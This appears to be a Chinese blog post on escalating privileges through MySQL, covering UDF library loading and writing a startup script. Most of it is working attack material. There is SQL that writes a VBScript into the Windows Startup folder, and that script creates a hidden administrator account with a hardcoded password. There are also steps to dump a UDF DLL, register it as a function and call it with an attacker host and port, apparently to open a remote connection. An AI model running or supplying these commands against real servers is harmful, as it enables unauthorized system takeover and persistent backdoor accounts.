查看MySQL服务器的文件读写权限
如果是NULL就是完全禁止
udf提权用到的so文件(linux)在kali下默认集成,路径为 /usr/share/sqlmap/udf/mysql/linux/64(32)
或者 searchsploit mysql udf
把对应的内容编译出来
mysql创建函数命令
mysql 5.1版本以上,必须把udf文件放到mysql安装目录下的lib/plugin下才能创建自定义函数,mysql into dumpfile并不能创建文件夹,所以mysql 5.1以上的版本,root权限提权就很困难了,目前已有的方法只有写启动项如下:create table a (cmd text)
insert into a values ("set wshshell=createobject (""wscript.shell"" ) " )
insert into a values ("a=wshshell.run (""cmd.exe /c net user 007hack.com qwer1234!@#$qwe /add"",0) " )
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators 007hack.com /add"",0) " )
windows 2008启动项:
C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\iis.vbs
select * from a into outfile "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\iis.vbs"
写启动项缺陷:
1、需要服务器重启(如果管理员3389远程桌面登陆时注销了用户,再次3389连接时,这个脚本就会运行,添加一个管理员,不需要重启)。
2、安全软件可能会拦截。
补充:
如果mysql小于5.1是root权限,windows 2008一样可以拿到系统权限(mysql无降权处理)
1、mysql导出一个dll
SELECT udf FROM 007hack_tab INTO DUMPFILE 'c:/007hack.dll
//udf内容网上早有公开
2、创建一个函数
create function myconnect returns integer soname 'c:\\007hack.dll
//c盘要可以写,注意是”\\”
3、调用这个函数
select myconnect('".$chost."','".$cport."')
//这只是一个例子
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)